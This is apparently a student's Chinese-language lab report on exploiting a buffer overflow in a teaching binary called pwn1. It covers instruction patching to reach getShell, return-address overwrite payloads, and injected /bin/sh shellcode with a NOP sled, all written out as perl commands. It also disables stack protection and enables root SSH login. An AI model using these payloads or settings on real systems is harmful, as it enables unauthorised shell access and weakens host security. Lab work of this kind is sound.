1.實驗內容
1.1實驗目標
- 本次實踐的對象是一個名為pwn1的linux可執行文件。
- 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。
- 正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然后學習如何注入運行任何Shellcode。
1.2基礎知識
- Linux基本操作的學習
- 文件與目錄操作如cd、ls、cp
- 權限管理:通過chmod設置文件權限,確保可執行文件有正確的執行權限
- 進程相關操作:使用ps查看進程、kill終止進程等
- 命令行工具使用:如cat查看文件內容、echo輸出內容等
- 理解Bof的原理
- 棧的結構:了解棧在內存中的生長方向(通常向低地址生長),以及函數調用時棧幀的創建(包括局部變量、返回地址、EBP 寄存器等的存儲位置)。當函數處理輸入時,若輸入數據過長,會覆蓋棧中的其他數據,這是緩沖區溢出的基礎。
- 返回地址覆蓋:函數執行結束時,會從棧中取出返回地址,跳轉到該地址繼續執行。利用緩沖區溢出,用惡意構造的地址(如getShell函數地址)覆蓋原本的返回地址,就能改變程序的執行流程。
- Shellcode 概念:知道 Shellcode 是一段能實現特定功能(如獲取 Shell)的可執行機器代碼,理解如何將其注入到存在緩沖區溢出漏洞的程序中,并讓程序執行這段代碼。
- GDB調試技巧
- 基本調試命令:
gdb <程序名>:啟動 GDB 調試程序。
run(r):運行程序。
break(b):設置斷點,可在特定函數(如b foo)或地址處設置,用于暫停程序執行,查看當前狀態。
continue(c):繼續執行程序,直到下一個斷點或程序結束。
print(p):打印變量或寄存器的值,如p $eip查看 EIP 寄存器內容。
- EIP 寄存器相關:明確 EIP 寄存器是指令指針寄存器,存儲著下一條要執行的指令的地址。在緩沖區溢出中,通過覆蓋返回地址,能控制 EIP 的值,從而改變程序執行流。
- Call 指令:call指令用于調用函數,會將當前 EIP 的下一條指令地址壓入棧中,然后跳轉到被調用函數的入口地址。在調試時,可觀察call指令對棧和 EIP 的影響。
- 指令跳轉偏移計算:當需要修改指令讓程序跳轉到特定位置時,要計算當前指令地址與目標地址的偏移量,確保跳轉正確。
- 反匯編指令objdump:使用objdump -d <可執行文件>對可執行文件進行反匯編,查看程序的匯編代碼,了解函數的入口地址、指令序列等,這對分析程序流程、尋找漏洞點很關鍵。
2.實驗過程
2.1實踐一
直接修改程序機器指令,改變程序執行流程
1.下載可執行文件pwn1,通過WINSCP將其傳入kali中,重命名為pwn20232324
2.查看目標文件pwn20232324反匯編代碼
使用
objdump -d pwn1 | more命令,找到匯編指令call 8048491,意思是說這條指令將調用位于地址8048491處的foo函數


main 調用 foo 的機器指令是
e8 d7ffffff(e8 表跳轉,d7ffffff 為補碼,當 EIP 為 80484ba 時,計算得 foo 地址 8048491),若想改調 getShell,只需將 “d7ffffff” 換成 “getShell 地址 - 80484ba” 的補碼,用計算器算 47d-4ba 可得該補碼為c3ffffff。
3.修改返回地址
復制pwn文件
cp pwn20232324 pwn20232324_2

通過命令
vi pwn 20232324_2編輯可執行文件
1.按ESC鍵
2.輸入如下,將顯示模式切換為16進制模式
:%!xxd
3.查找要修改的內容
/e8d7
4.找到后前后的內容和反匯編的對比下,確認是地方是正確的
5.修改d7為c3
6.轉換16進制為原格式
:%!xxd -r
7.存盤退出vi
:wq


4.檢查call指令是否正確調用getshell地址
輸入
objdump -d pwn2 | more

5.重新運行可執行文件,得到shell提示符#
輸入
./pwn20232324運行文件,嘗試使用ls命令

2.2實踐二
通過構造輸入參數,造成BOF攻擊,改變程序執行流
1.找到函數Buffer overflow漏洞

從圖中我們可以得知系統只預留了 28 字節 的緩沖區,超過這個長度的輸入就會覆蓋棧上的其他數據(包括保存的 EBP 和返回地址)
2.確認輸入字符串哪幾個字符會覆蓋到返回地址
下載并啟動gdb進行調試


我們可以從上圖中找到eip寄存器內的值為0x35353535,35是5的ASCII的值,接下我們需要繼續調試,找到是從輸入的字符串中的哪一個'5'開始覆蓋返回地址

此時eip寄存器內的值為0x34333231即'1234',所以我們可以得知只要將原先'1234'及其以后的內容替換為getsgell的內存地址,CPU會嘗試運行這個位置的代碼,從而調用shell。
3.確認用什么值來覆蓋返回地址
在2.2.1中我們可以找到getshell的內存地址為0804847d,對比之前 eip 0x34333231確認字節序,正確輸入
11111111222222223333333344444444\x7d\x84\x04\x08字符串。
4.構造輸入字符串
由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。
輸入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16進制查看指令xxd查看input文件的內容是否如預期。
輸入xxd input
然后將input的輸入,通過管道符“|”,作為pwn20232324的輸入。
輸入(cat input; cat) | ./pwn20232324_2
調用shell
輸入 ls

2.3實踐三
注入Shellcode并執行
1.準備工作
- 設置堆棧可執行、查詢文件的堆棧是否可執行、并關閉地址隨機化(見“問題三及其解決”中的命令)
- 準備一段shellcode,依據實驗指導書所提供的
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.構造payload
Linux下有兩種基本構造攻擊buf的方法:
- anything+retaddr+nop+shellcode
- anything+nop+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
輸入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232324

3.打開終端注入這段攻擊
輸入(cat input_shellcode20232324;cat) | ./pwn20232324

4.再開另外一個終端,用gdb來調試pwn20232324這個進程
找到pwn20232324進程號
輸入 ps -ef | grep pwn20232324

有圖可知進程號為131870,啟動gdb調試進程131870,進行以下操作
(1)啟動gdb 輸入gdb
(2)調試進程 輸入attach 131870
(3)設置斷點,來查看注入buf的內存地址
①輸入disassemble foo
②輸入break *0x080484ae
foo的結束地址是0x080484ae,在此處設置一個斷點,因為ret完,就跳到我們覆蓋的retaddr了

在終端1中按下回車,這就是前面為什么不能以\x0a來結束 input_shellcode20232324的原因.
繼續打開終端2,進行gdb調試
(4)繼續 輸入c
(5)遇到斷點后,查當前棧頂地址 輸入info r esp
由圖可知地址為

此時我們得知retaddr地址為0xffffcfcc,其值0x01020304應該為shellcode的地址,從而構造出anything+nop+shellcode+retaddr結構
由實驗指導書可知,在 絕大多數實際場景中(有 leave 指令、有棧操作的常規函數),anything+nop+shellcode+retaddr結構是無法實現的,因為會被棧幀清理覆蓋 shellcode,且 retaddr 容錯率為 0;只有在極端極簡的匯編函數中(無 leave、無棧操作),才可能勉強執行,但這種場景沒有實際意義。所以應該使用anything+retaddr+nop+shellcode結構
構造payload結構為anything+retaddr+nop+shellcode
輸入perl -e 'print "A" x 32;print "\xd0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode20232324_2
32位的‘A’剛好占滿緩沖區的位置,\x90\x90\x90\x90\x90\x90為nop會自動滑行到shellcode,所以我們的retaddr里面的值為retaddr(0xffffcfcc)+4字節=0xffffcfd0
輸入xxd input_shellcode20232324_2
輸入(cat input_shellcode20232324_2;cat) | ./pwn20232324命令進行運行,
出現了shell,輸入ls

3.問題及解決方案
- 問題1:winscp傳輸文件失敗
- 問題1解決方案:Kali Linux默認禁止root用戶直接通過 SSH 登錄。查看虛擬機中 SSH 服務的配置文件(通常是/etc/ssh/sshd_config),找到PermitRootLogin相關的設置修改為yes,然后重啟 SSH 服務。
- 問題2:修改完返回地址后,無法運行pwn20232324_2
- 問題2解決方案:當前用戶沒有執行權限,你可以使用 chmod 命令賦予其執行權限:
chmod +x pwn20232324_2 - 問題3:無法下載execstack
- 問題3解決方案:使用以下命令
sudo apt install patchelf啟用棧執行(相當于 execstack -s)patchelf --set-execstack pwn1驗證是否成功readelf -l pwn1 | grep GNU_STACK
如果輸出包含 RWE(Read-Write-Execute),說明棧可執行。
如果只有 RW,說明棧不可執行(NX 保護開啟)。
4.學習感悟、思考等
本次實驗我通過Linux基本操作、反匯編、GDB調試技術掌握了棧內布局和緩沖區溢出攻擊,也使得我更好的理解如何防御這些漏洞攻擊。此外,我認為在做實驗前應該將實驗原理有了細致的掌握后再進行操作,這樣可以使得我們的每一個理論知識得到驗證。
最后,感謝一下洪老師嗚嗚嗚??????,非常耐心且詳細地給我講了實踐三的原理!??
浙公網安備 33010602011771號